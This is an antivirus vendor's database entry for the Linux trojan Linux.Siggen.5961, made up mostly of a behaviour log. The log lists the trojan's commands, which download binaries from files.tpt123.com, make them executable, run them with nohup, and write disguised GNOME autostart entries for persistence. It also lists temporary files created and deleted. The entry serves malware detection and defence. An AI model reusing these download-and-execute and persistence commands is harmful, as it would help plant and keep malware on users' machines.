Per il corretto funzionamento del sito, è necessario attivare il supporto di JavaScript nel browser.
Linux.Siggen.5961
Aggiunto al database dei virus Dr.Web:
2023-11-07
La descrizione è stata aggiunta:
2023-11-07
Technical Information
Malicious functions:
Substitutes application name for:
Launches processes:
wget https://files.tpt123.com/bssu -O /root/.config/bssu
nohup ~/.config/bssd &
chmod +x /root/.config/bssd
printf \x27\x0a[Desktop Entry]\x0aType=Application\x0aName=bssd.desktop\x0aExec=/home/root/.config/bssd\x0aIcon=pdf\x0aComment=important application\x0aX-GNOME-Autostart-enabled=true\x0aName[en_US]=bssd.desktop\x0a\x0a\x27>>~/.config/autostart/bssd.desktop
wget https://files.tpt123.com/bssm -O ~/.config/bssm
chmod +x ~/.config/autostart/bssm.desktop
printf \x27\x0a[Desktop Entry]\x0aType=Application\x0aName=bssu.desktop\x0aExec=/home/root/.config/bssu\x0aIcon=pdf\x0aComment=important application\x0aX-GNOME-Autostart-enabled=true\x0aName[en_US]=bssu.desktop\x0a\x27>> ~/.config/autostart/bssu.desktop
nohup ~/.config/bsso &
wget https://files.tpt123.com/bssd -O ~/.config/bssd
nohup ~/.config/bssu &
wget https://files.tpt123.com/bsso -O /root/.config/bsso
chmod +x ~/.config/bsso
nohup /root/.config/bssm
wget https://files.tpt123.com/bssd -O /root/.config/bssd
wget https://files.tpt123.com/bssm -O /root/.config/bssm
mkdir -p ~/.config
mkdir -p /root/.config/autostart
chmod +x ~/.config/autostart/bssd.desktop
xdg-open https://drive.google.com/file/d/154fg9qdLJLrlUPG1xWcSd5IYh0cTfBgI/view?usp=sharing
nohup ~/.config/bssm &
printf \x27\x0a[Desktop Entry]\x0aType=Application\x0aName=bssm.desktop\x0aExec=/home/root/.config/bssm\x0aIcon=pdf\x0aComment=important application\x0aX-GNOME-Autostart-enabled=true\x0aName[en_US]=bssm.desktop\x0a\x0a\x27>>~/.config/autostart/bssm.desktop
chmod +x /root/.config/autostart/bssm.desktop
rm -f /root/.config/bssd
chmod +x ~/.config/bssd
chmod +x /root/.config/bsso
mkdir -p /root/.config
chmod +x /root/.config/autostart/bssu.desktop
rm -f ~/.config/bssd || true
chmod +x ~/.config/autostart/bssu.desktop
wget https://files.tpt123.com/bssu -O ~/.config/bssu
chmod +x /root/.config/autostart/bssd.desktop
chmod +x /root/.config/bssm
chmod +x ~/.config/bssm
mkdir -p ~/.config/autostart
chmod +x /root/.config/bssu
wget https://files.tpt123.com/bsso -O ~/.config/bsso
chmod +x ~/.config/bssu
Performs operations with the file system:
Modifies file access rights:
/tmp/_MEIiebjAD/lib-dynload/_bz2.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_cn.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_hk.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_iso2022.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_jp.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_kr.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_tw.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_hashlib.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_multibytecodec.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/resource.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/libbz2.so.1.0
/tmp/_MEIiebjAD/libcrypto.so.1.1
/tmp/_MEIiebjAD/libexpat.so.1
/tmp/_MEIiebjAD/liblzma.so.5
/tmp/_MEIiebjAD/libpython3.8.so.1.0
/tmp/_MEIiebjAD/libz.so.1
/tmp/_MEIiebjAD/base_library.zip
/root/.config/autostart/bssd.desktop
/root/.config/autostart/bssu.desktop
/root/.config/autostart/bssm.desktop
/root/.config/bssd
/root/.config/bsso
/root/.config/bssu
/root/.config/bssm
Creates folders:
/tmp/_MEIiebjAD
/tmp/_MEIiebjAD/lib-dynload
/root/.config
/root/.config/autostart
Deletes folders:
/tmp/_MEIiebjAD/lib-dynload
/tmp/_MEIiebjAD
Creates or modifies files:
/tmp/_MEIiebjAD/lib-dynload/_bz2.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_cn.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_hk.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_iso2022.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_jp.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_kr.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_tw.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_hashlib.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_multibytecodec.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/resource.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/libbz2.so.1.0
/tmp/_MEIiebjAD/libcrypto.so.1.1
/tmp/_MEIiebjAD/libexpat.so.1
/tmp/_MEIiebjAD/liblzma.so.5
/tmp/_MEIiebjAD/libpython3.8.so.1.0
/tmp/_MEIiebjAD/libz.so.1
/tmp/_MEIiebjAD/base_library.zip
/root/.config/autostart/bssd.desktop
/root/.config/autostart/bssu.desktop
/root/.config/autostart/bssm.desktop
/root/.config/bssd
/root/.config/bsso
/root/.config/bssu
/root/.config/bssm
Deletes files:
/tmp/_MEIiebjAD/liblzma.so.5
/tmp/_MEIiebjAD/libexpat.so.1
/tmp/_MEIiebjAD/lib-dynload/_codecs_tw.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_hashlib.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_kr.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_cn.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_bz2.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_jp.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_multibytecodec.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_iso2022.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/_codecs_hk.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/lib-dynload/resource.cpython-38-x86_64-linux-gnu.so
/tmp/_MEIiebjAD/libz.so.1
/tmp/_MEIiebjAD/libcrypto.so.1.1
/tmp/_MEIiebjAD/base_library.zip
/tmp/_MEIiebjAD/libbz2.so.1.0
/tmp/_MEIiebjAD/libpython3.8.so.1.0
Network activity:
Establishes connection:
DNS ASK:
Curing recommendations
Linux
Free trial
One month (no registration) or three months (registration and renewal discount)
Scaricate Dr.Web per Android
Gratis per 3 mesi
Tutti i componenti di protezione
Rinnovo versione di prova tramite AppGallery/Google Pay
Continuando a utilizzare questo sito, l'utente acconsente al nostro utilizzo di file Cookie e di altre tecnologie per la raccolta di informazioni statistiche sui visitatori. Per maggiori informazioni
OK